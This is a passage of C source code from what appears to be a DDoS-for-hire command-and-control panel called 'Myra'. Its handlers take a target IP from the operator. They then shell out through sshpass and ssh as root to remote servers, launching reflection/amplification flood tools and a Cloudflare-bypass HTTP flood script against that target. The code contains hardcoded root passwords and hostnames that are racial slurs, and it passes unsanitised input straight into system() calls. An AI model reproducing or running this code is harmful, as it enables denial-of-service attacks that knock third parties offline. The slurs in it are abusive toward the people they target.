3590 char *token = strtok(myra_buffer_size, " "); // Create Delimiter
3591 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
3592 trim_removev2(iptarget); // Trim [iptarget]
3593 char *ipkill[5000]; // Creating A System Function
3594 trim_removev2(ipkill); // Trim [ipkill]
3595 char *ipkill2[5000]; // Creating A System Function
3596 trim_removev2(ipkill2); // Trim [ipkill]
3597 char *ipkill3[5000];
3598 trim_removev2(ipkill3);
3599 char *ipkill4[5000];
3600 trim_removev2(ipkill4);
3601 sprintf(ipkill, "echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mCSGO-DROP\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m]'; echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mCSGO-DROP\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m]' >> logs/Myra_IPHM_Attack.log\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget);
3602 sprintf(ipkill2, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@nigger1 /usr/sbin/c2/amp/methods/layer4/v1/reflection/csgo-atk/csgo %s 8 -1 60 1.1.1.1\r\n", iptarget);
3603 sprintf(ipkill3, "screen -d -m sshpass -p IAmSLightLYBLACK331 ssh root@mainnig /usr/sbin/c2/amp/methods/layer4/v1/reflection/csgo-atk/csgo %s 3 -1 60 1.1.1.1\r\n", iptarget);
3604 //sprintf(ipkill4, "screen -d -m sshpass -p IAmSLightLYBLACK331 ssh root@nigger2 /usr/sbin/c2/amp/methods/layer4/v1/reflection/csgo-atk/csgo %s 4 -1 60 1.1.1.1\r\n", iptarget);
3605 system(ipkill); // System Execution
3606 system(ipkill2);
3607 system(ipkill3);
3608 sprintf(myra, "\x1b[38;5;225m╔══════════════════╗\r\n\x1b[38;5;225m║ \x1b[38;5;168mAttack Sent! \x1b[38;5;225m║ \x1b[38;5;168mIP \x1b[38;5;225m/ \x1b[38;5;168mPort\x1b[38;5;225m: \e[38;5;134m%s\r\n\x1b[38;5;225m║ \x1b[38;5;168mMethod\x1b[38;5;225m: \e[38;5;134mCSGO-DROP\x1b[38;5;225m║ \x1b[38;5;168mTime\x1b[38;5;225m: \e[38;5;134m120\r\n\x1b[38;5;225m║ \x1b[38;5;168mUsage\x1b[38;5;225m: \e[38;5;134mIPHM-CSGO \x1b[38;5;225m║ \x1b[38;5;168mThreads\x1b[38;5;225m: \e[38;5;134m2\r\n\x1b[38;5;225m╚══════════════════╝\r\n", iptarget);
3609 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3610 }
3611 if (strstr(myra_buffer_size, ".aura") || strstr(myra_buffer_size, ".AURA")) // System Command Function
3612 {
3613 char iptarget[5000]; // Char Every Line For Output Communication
3614 char *token = strtok(myra_buffer_size, " "); // Create Delimiter
3615 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
3616 trim_removev2(iptarget); // Trim [iptarget]
3617 char *ipkill[5000]; // Creating A System Function
3618 trim_removev2(ipkill); // Trim [ipkill]
3619 char *ipkill2[5000]; // Creating A System Function
3620 trim_removev2(ipkill2); // Trim [ipkill]
3621 char *ipkill3[5000];
3622 trim_removev2(ipkill3);
3623 char *ipkill4[5000];
3624 trim_removev2(ipkill4);
3625 char *ipkill5[5000];
3626 trim_removev2(ipkill5);
3627 char *ipkill6[5000];
3628 trim_removev2(ipkill6);
3629 sprintf(ipkill, "echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mAURA\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m]'; echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mAURA\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m]' >> logs/Myra_IPHM_Attack.log\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget);
3630 sprintf(ipkill2, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@nigger1 /usr/sbin/c2/amp/methods/layer4/v1/reflection/athena-atk/athena %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/athena-atk/athena.txt 5 -1 60\r\n", iptarget);
3631 sprintf(ipkill3, "screen -d -m sshpass -p IAmSLightLYBLACK331 ssh root@mainnig /usr/sbin/c2/amp/methods/layer4/v1/reflection/athena-atk/athena %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/athena-atk/athena.txt 4 -1 60\r\n", iptarget);
3632 //sprintf(ipkill4, "screen -d -m sshpass -p IAmSLightLYBLACK331 ssh root@nigger2 /usr/sbin/c2/amp/methods/layer4/v1/reflection/athena-atk/athena %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/athena-atk/athena.txt 5 -1 60\r\n", iptarget);
3633 sprintf(ipkill5, "screen -d -m sshpass -p tillwefall1234@ ssh root@nigger3 /usr/sbin/c2/amp/methods/layer4/v1/reflection/athena-atk/athena %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/athena-atk/athena.txt 8 -1 60\r\n", iptarget);
3634 sprintf(ipkill6, "screen -d -m sshpass -p tillwefall1234@ ssh root@nigger4 /usr/sbin/c2/amp/methods/layer4/v1/reflection/athena-atk/athena %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/athena-atk/athena.txt 8 -1 60\r\n", iptarget);
3635 system(ipkill); // System Execution
3636 system(ipkill2);
3637 system(ipkill3);
3638 //system(ipkill4);
3639 system(ipkill5);
3640 system(ipkill6);
3641 sprintf(myra, "\x1b[38;5;225m╔══════════════════╗\r\n\x1b[38;5;225m║ \x1b[38;5;168mAttack Sent! \x1b[38;5;225m║ \x1b[38;5;168mIP \x1b[38;5;225m/ \x1b[38;5;168mPort\x1b[38;5;225m: \e[38;5;134m%s\r\n\x1b[38;5;225m║ \x1b[38;5;168mMethod\x1b[38;5;225m: \e[38;5;134mAURA \x1b[38;5;225m║ \x1b[38;5;168mTime\x1b[38;5;225m: \e[38;5;134m120\r\n\x1b[38;5;225m║ \x1b[38;5;168mUsage\x1b[38;5;225m: \e[38;5;134mIPHM-AURA \x1b[38;5;225m║ \x1b[38;5;168mThreads\x1b[38;5;225m: \e[38;5;134m2\r\n\x1b[38;5;225m╚══════════════════╝\r\n", iptarget);
3642 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3643 }
3644 if (strstr(myra_buffer_size, ".pc-ark-drop") || strstr(myra_buffer_size, ".pc-ark-drop")) // System Command Function
3645 {
3646 char iptarget[5000]; // Char Every Line For Output Communication
3647 char *token = strtok(myra_buffer_size, " "); // Create Delimiter
3648 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
3649 trim_removev2(iptarget); // Trim [iptarget]
3650 char *ipkill[5000]; // Creating A System Function
3651 trim_removev2(ipkill); // Trim [ipkill]
3652 char *ipkill2[5000]; // Creating A System Function
3653 trim_removev2(ipkill2); // Trim [ipkill]
3654 char *ipkill3[5000];
3655 trim_removev2(ipkill3);
3656 char *ipkill4[5000];
3657 trim_removev2(ipkill4);
3658 char *ipkill5[5000];
3659 trim_removev2(ipkill5);
3660 char *ipkill6[5000];
3661 trim_removev2(ipkill6);
3662 sprintf(ipkill, "echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mARK-DROP\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m]'; echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mARK-DROP\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m]' >> logs/Myra_IPHM_Attack.log\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget);
3663 sprintf(ipkill2, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@nigger1 /usr/sbin/c2/amp/methods/layer4/v1/reflection/arkdrop-atk/ark-drop %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/arkdrop-atk/ark.txt 50 45\r\n", iptarget);
3664 sprintf(ipkill3, "screen -d -m sshpass -p IAmSLightLYBLACK331 ssh root@mainnig /usr/sbin/c2/amp/methods/layer4/v1/reflection/arkdrop-atk/ark-drop %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/arkdrop-atk/ark.txt 50 45\r\n", iptarget);
3665 //sprintf(ipkill4, "screen -d -m sshpass -p IAmSLightLYBLACK331 ssh root@nigger2 /usr/sbin/c2/amp/methods/layer4/v1/reflection/arkdrop-atk/ark-drop %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/arkdrop-atk/ark.txt 50 45\r\n", iptarget);
3666 sprintf(ipkill5, "screen -d -m sshpass -p tillwefall1234@ ssh root@nigger3 /usr/sbin/c2/amp/methods/layer4/v1/reflection/arkdrop-atk/ark-drop %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/arkdrop-atk/ark.txt 50 45\r\n", iptarget);
3667 sprintf(ipkill6, "screen -d -m sshpass -p tillwefall1234@ ssh root@nigger4 /usr/sbin/c2/amp/methods/layer4/v1/reflection/arkdrop-atk/ark-drop %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/arkdrop-atk/ark.txt 50 45\r\n", iptarget);
3668 system(ipkill);
3669 system(ipkill2);
3670 system(ipkill3);
3671 //system(ipkill4);
3672 system(ipkill5);
3673 system(ipkill6);
3674 sprintf(myra, "\x1b[38;5;225m╔══════════════════╗\r\n\x1b[38;5;225m║ \x1b[38;5;168mAttack Sent! \x1b[38;5;225m║ \x1b[38;5;168mIP \x1b[38;5;225m/ \x1b[38;5;168mPort\x1b[38;5;225m: \e[38;5;134m%s\r\n\x1b[38;5;225m║ \x1b[38;5;168mMethod\x1b[38;5;225m: \e[38;5;134mARK-DROP \x1b[38;5;225m║ \x1b[38;5;168mTime\x1b[38;5;225m: \e[38;5;134m120\r\n\x1b[38;5;225m║ \x1b[38;5;168mUsage\x1b[38;5;225m: \e[38;5;134mIPHM-ARKD \x1b[38;5;225m║ \x1b[38;5;168mThreads\x1b[38;5;225m: \e[38;5;134m2\r\n\x1b[38;5;225m╚══════════════════╝\r\n", iptarget);
3675 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3676 }
3677 if (strstr(myra_buffer_size, ".loopy") || strstr(myra_buffer_size, ".LOOPY")) // System Command Function
3678 {
3679 char iptarget[5000]; // Char Every Line For Output Communication
3680 char *token = strtok(myra_buffer_size, " "); // Create Delimiter
3681 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
3682 trim_removev2(iptarget); // Trim [iptarget]
3683 char *ipkill[5000]; // Creating A System Function
3684 trim_removev2(ipkill); // Trim [ipkill]
3685 char *ipkill2[5000]; // Creating A System Function
3686 trim_removev2(ipkill2); // Trim [ipkill]
3687 char *ipkill3[5000];
3688 trim_removev2(ipkill3);
3689 char *ipkill4[5000];
3690 trim_removev2(ipkill4);
3691 char *ipkill5[5000];
3692 trim_removev2(ipkill5);
3693 char *ipkill6[5000];
3694 trim_removev2(ipkill6);
3695 sprintf(ipkill, "echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mODIN\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m]'; echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mODIN\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m]' >> logs/Myra_IPHM_Attack.log\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget);
3696 sprintf(ipkill2, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@nigger1 /usr/sbin/c2/amp/methods/layer4/v1/reflection/odin-atk/odin %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/odin-atk/odin.txt 8 -1 60\r\n", iptarget);
3697 sprintf(ipkill3, "screen -d -m sshpass -p IAmSLightLYBLACK331 ssh root@mainnig /usr/sbin/c2/amp/methods/layer4/v1/reflection/odin-atk/odin %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/odin-atk/odin.txt 4 -1 60\r\n", iptarget);
3698 //sprintf(ipkill4, "screen -d -m sshpass -p IAmSLightLYBLACK331 ssh root@nigger2 /usr/sbin/c2/amp/methods/layer4/v1/reflection/odin-atk/odin %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/odin-atk/odin.txt 5 -1 60\r\n", iptarget);
3699 sprintf(ipkill5, "screen -d -m sshpass -p tillwefall1234@ ssh root@nigger3 /usr/sbin/c2/amp/methods/layer4/v1/reflection/odin-atk/odin %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/odin-atk/odin.txt 8 -1 60\r\n", iptarget);
3700 sprintf(ipkill6, "screen -d -m sshpass -p tillwefall1234@ ssh root@nigger4 /usr/sbin/c2/amp/methods/layer4/v1/reflection/odin-atk/odin %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/odin-atk/odin.txt 8 -1 60\r\n", iptarget);
3701 system(ipkill); // System Execution
3702 system(ipkill2);
3703 system(ipkill3);
3704 //system(ipkill4);
3705 system(ipkill5);
3706 system(ipkill6);
3707 sprintf(myra, "\x1b[38;5;225m╔══════════════════╗\r\n\x1b[38;5;225m║ \x1b[38;5;168mAttack Sent! \x1b[38;5;225m║ \x1b[38;5;168mIP \x1b[38;5;225m/ \x1b[38;5;168mPort\x1b[38;5;225m: \e[38;5;134m%s\r\n\x1b[38;5;225m║ \x1b[38;5;168mMethod\x1b[38;5;225m: \e[38;5;134mODIN \x1b[38;5;225m║ \x1b[38;5;168mTime\x1b[38;5;225m: \e[38;5;134m120\r\n\x1b[38;5;225m║ \x1b[38;5;168mUsage\x1b[38;5;225m: \e[38;5;134mIPHM-ODIN \x1b[38;5;225m║ \x1b[38;5;168mThreads\x1b[38;5;225m: \e[38;5;134m2\r\n\x1b[38;5;225m╚══════════════════╝\r\n", iptarget);
3708 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3709 }
3710 if (strstr(myra_buffer_size, ".ceres") || strstr(myra_buffer_size, ".CERES")) // System Command Function
3711 {
3712 char iptarget[5000]; // Char Every Line For Output Communication
3713 char *token = strtok(myra_buffer_size, " "); // Create Delimiter
3714 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
3715 trim_removev2(iptarget); // Trim [iptarget]
3716 char *ipkill[5000]; // Creating A System Function
3717 trim_removev2(ipkill); // Trim [ipkill]
3718 char *ipkill2[5000]; // Creating A System Function
3719 trim_removev2(ipkill2); // Trim [ipkill]
3720 char *ipkill3[5000];
3721 trim_removev2(ipkill3);
3722 char *ipkill4[5000];
3723 trim_removev2(ipkill4);
3724 char *ipkill5[5000];
3725 trim_removev2(ipkill5);
3726 char *ipkill6[5000];
3727 trim_removev2(ipkill6);
3728 sprintf(ipkill, "echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mCERES\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m]'; echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mCERES\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m]' >> logs/Myra_IPHM_Attack.log\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget);
3729 sprintf(ipkill2, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@nigger1 /usr/sbin/c2/amp/methods/layer4/v1/reflection/ceres-atk/ceres %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/ceres-atk/ceres.txt 5 -1 60\r\n", iptarget);
3730 sprintf(ipkill3, "screen -d -m sshpass -p IAmSLightLYBLACK331 ssh root@mainnig /usr/sbin/c2/amp/methods/layer4/v1/reflection/ceres-atk/ceres %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/ceres-atk/ceres.txt 4 -1 60\r\n", iptarget);
3731 //sprintf(ipkill4, "screen -d -m sshpass -p IAmSLightLYBLACK331 ssh root@nigger2 /usr/sbin/c2/amp/methods/layer4/v1/reflection/ceres-atk/ceres %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/ceres-atk/ceres.txt 5 -1 60\r\n", iptarget);
3732 sprintf(ipkill5, "screen -d -m sshpass -p tillwefall1234@ ssh root@nigger3 /usr/sbin/c2/amp/methods/layer4/v1/reflection/ceres-atk/ceres %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/ceres-atk/ceres.txt 8 -1 60\r\n", iptarget);
3733 sprintf(ipkill6, "screen -d -m sshpass -p tillwefall1234@ ssh root@nigger4 /usr/sbin/c2/amp/methods/layer4/v1/reflection/ceres-atk/ceres %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/ceres-atk/ceres.txt 8 -1 60\r\n", iptarget);
3734 system(ipkill); // System Execution
3735 system(ipkill2);
3736 system(ipkill3);
3737 //system(ipkill4);
3738 //system(ipkill4);
3739 system(ipkill5);
3740 system(ipkill6);
3741 sprintf(myra, "\x1b[38;5;225m╔══════════════════╗\r\n\x1b[38;5;225m║ \x1b[38;5;168mAttack Sent! \x1b[38;5;225m║ \x1b[38;5;168mIP \x1b[38;5;225m/ \x1b[38;5;168mPort\x1b[38;5;225m: \e[38;5;134m%s\r\n\x1b[38;5;225m║ \x1b[38;5;168mMethod\x1b[38;5;225m: \e[38;5;134mCERES \x1b[38;5;225m║ \x1b[38;5;168mTime\x1b[38;5;225m: \e[38;5;134m120\r\n\x1b[38;5;225m║ \x1b[38;5;168mUsage\x1b[38;5;225m: \e[38;5;134mIPHM-CRES \x1b[38;5;225m║ \x1b[38;5;168mThreads\x1b[38;5;225m: \e[38;5;134m12\r\n\x1b[38;5;225m╚══════════════════╝\r\n", iptarget);
3742 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3743 }
3744 if (strstr(myra_buffer_size, ".zeus") || strstr(myra_buffer_size, ".ZEUS")) // System Command Function
3745 {
3746 char iptarget[5000]; // Char Every Line For Output Communication
3747 char *token = strtok(myra_buffer_size, " "); // Create Delimiter
3748 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
3749 trim_removev2(iptarget); // Trim [iptarget]
3750 char *ipkill[5000]; // Creating A System Function
3751 trim_removev2(ipkill); // Trim [ipkill]
3752 char *ipkill2[5000]; // Creating A System Function
3753 trim_removev2(ipkill2); // Trim [ipkill]
3754 char *ipkill3[5000];
3755 trim_removev2(ipkill3);
3756 char *ipkill4[5000];
3757 trim_removev2(ipkill4);
3758 char *ipkill5[5000];
3759 trim_removev2(ipkill5);
3760 char *ipkill6[5000];
3761 trim_removev2(ipkill6);
3762 sprintf(ipkill, "echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mZEUS\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m]'; echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mZEUS\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m]' >> logs/Myra_IPHM_Attack.log\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget);
3763 sprintf(ipkill2, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@nigger1 /usr/sbin/c2/amp/methods/layer4/v1/reflection/zeus-atk/zeus %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/zeus-atk/zeus.txt 5 -1 60\r\n", iptarget);
3764 sprintf(ipkill3, "screen -d -m sshpass -p IAmSLightLYBLACK331 ssh root@mainnig /usr/sbin/c2/amp/methods/layer4/v1/reflection/zeus-atk/zeus %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/zeus-atk/zeus.txt 4 -1 60\r\n", iptarget);
3765 //sprintf(ipkill4, "screen -d -m sshpass -p IAmSLightLYBLACK331 ssh root@nigger2 /usr/sbin/c2/amp/methods/layer4/v1/reflection/athena-atk/athena %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/athena-atk/athena.txt 5 -1 60\r\n", iptarget);
3766 sprintf(ipkill5, "screen -d -m sshpass -p tillwefall1234@ ssh root@nigger3 /usr/sbin/c2/amp/methods/layer4/v1/reflection/zeus-atk/zeus %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/zeus-atk/zeus.txt 8 -1 60\r\n", iptarget);
3767 sprintf(ipkill6, "screen -d -m sshpass -p tillwefall1234@ ssh root@nigger4 /usr/sbin/c2/amp/methods/layer4/v1/reflection/zeus-atk/zeus %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/zeus-atk/zeus.txt 8 -1 60\r\n", iptarget);
3768 system(ipkill); // System Execution
3769 system(ipkill2);
3770 system(ipkill3);
3771 //system(ipkill4);
3772 system(ipkill5);
3773 system(ipkill6);
3774 sprintf(myra, "\x1b[38;5;225m╔══════════════════╗\r\n\x1b[38;5;225m║ \x1b[38;5;168mAttack Sent! \x1b[38;5;225m║ \x1b[38;5;168mIP \x1b[38;5;225m/ \x1b[38;5;168mPort\x1b[38;5;225m: \e[38;5;134m%s\r\n\x1b[38;5;225m║ \x1b[38;5;168mMethod\x1b[38;5;225m: \e[38;5;134mZEUS \x1b[38;5;225m║ \x1b[38;5;168mTime\x1b[38;5;225m: \e[38;5;134m120\r\n\x1b[38;5;225m║ \x1b[38;5;168mUsage\x1b[38;5;225m: \e[38;5;134mIPHM-ZEUS \x1b[38;5;225m║ \x1b[38;5;168mThreads\x1b[38;5;225m: \e[38;5;134m2\r\n\x1b[38;5;225m╚══════════════════╝\r\n", iptarget);
3775 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3776 }
3777 if (strstr(myra_buffer_size, ".apollo") || strstr(myra_buffer_size, ".APOLLO")) // System Command Function
3778 {
3779 char iptarget[5000]; // Char Every Line For Output Communication
3780 char *token = strtok(myra_buffer_size, " "); // Create Delimiter
3781 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
3782 trim_removev2(iptarget); // Trim [iptarget]
3783 char *ipkill[5000]; // Creating A System Function
3784 trim_removev2(ipkill); // Trim [ipkill]
3785 char *ipkill2[5000]; // Creating A System Function
3786 trim_removev2(ipkill2); // Trim [ipkill]
3787 sprintf(ipkill2, "echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mAPOLLO\e[38;5;134m] \e[38;5;168mHOSTNAME:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m]'; echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mAPOLLO\e[38;5;134m] \e[38;5;168mHOSTNAME:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m]' >> logs/Myra_IPHM_Attack.log\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget);
3788 sprintf(ipkill, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@nigger1 timeout 60 node CFBypass.js %s 60\r\n", iptarget); // Default Time Has Been Set To 30 Seconds. Default Port Is 62141
3789 system(ipkill2);
3790 system(ipkill); // System Execution
3791 sprintf(myra, "\x1b[38;5;225m╔══════════════════╗\r\n\x1b[38;5;225m║ \x1b[38;5;168mAttack Sent! \x1b[38;5;225m║ \x1b[38;5;168mIP \x1b[38;5;225m/ \x1b[38;5;168mPort\x1b[38;5;225m: \e[38;5;134m%s\r\n\x1b[38;5;225m║ \x1b[38;5;168mMethod\x1b[38;5;225m: \e[38;5;134mAPOLLO \x1b[38;5;225m║ \x1b[38;5;168mTime\x1b[38;5;225m: \e[38;5;134m120\r\n\x1b[38;5;225m║ \x1b[38;5;168mUsage\x1b[38;5;225m: \e[38;5;134mIPHM-APLO \x1b[38;5;225m║ \x1b[38;5;168mThreads\x1b[38;5;225m: \e[38;5;134m12\r\n\x1b[38;5;225m╚══════════════════╝\r\n", iptarget);
3792 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3793 }
3794 if (strstr(myra_buffer_size, ".vulcan") || strstr(myra_buffer_size, ".VULCAN")) // System Command Function
3795 {
3796 char iptarget[5000]; // Char Every Line For Output Communication
3797 char *token = strtok(myra_buffer_size, " "); // Create Delimiter
3798 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
3799 trim_removev2(iptarget); // Trim [iptarget]
3800 char *ipkill[5000]; // Creating A System Function
3801 trim_removev2(ipkill); // Trim [ipkill]
3802 char *ipkill2[5000]; // Creating A System Function
3803 trim_removev2(ipkill2); // Trim [ipkill]
3804 char *ipkill3[5000];
3805 trim_removev2(ipkill3);
3806 //char *ipkill4[5000];
3807 //trim_removev2(ipkill4);
3808 char *ipkill5[5000];
3809 trim_removev2(ipkill5);
3810 char *ipkill6[5000];
3811 trim_removev2(ipkill6);
3812 sprintf(ipkill, "echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mVULCAN\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m]'; echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mVULCAN\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m]' >> logs/Myra_IPHM_Attack.log\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget);
3813 sprintf(ipkill2, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@nigger1 /usr/sbin/c2/amp/methods/layer4/v1/reflection/vulcan-atk/vulcan %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/vulcan-atk/vulcan.txt 5 -1 60\r\n", iptarget);
3814 sprintf(ipkill3, "screen -d -m sshpass -p IAmSLightLYBLACK331 ssh root@mainnig /usr/sbin/c2/amp/methods/layer4/v1/reflection/vulcan-atk/vulcan %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/vulcan-atk/vulcan.txt 4 -1 60\r\n", iptarget);
3815 ////sprintf(ipkill4, "screen -d -m sshpass -p IAmSLightLYBLACK331 ssh root@nigger2 /usr/sbin/c2/amp/methods/layer4/v1/reflection/athena-atk/athena %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/athena-atk/athena.txt 5 -1 60\r\n", iptarget);
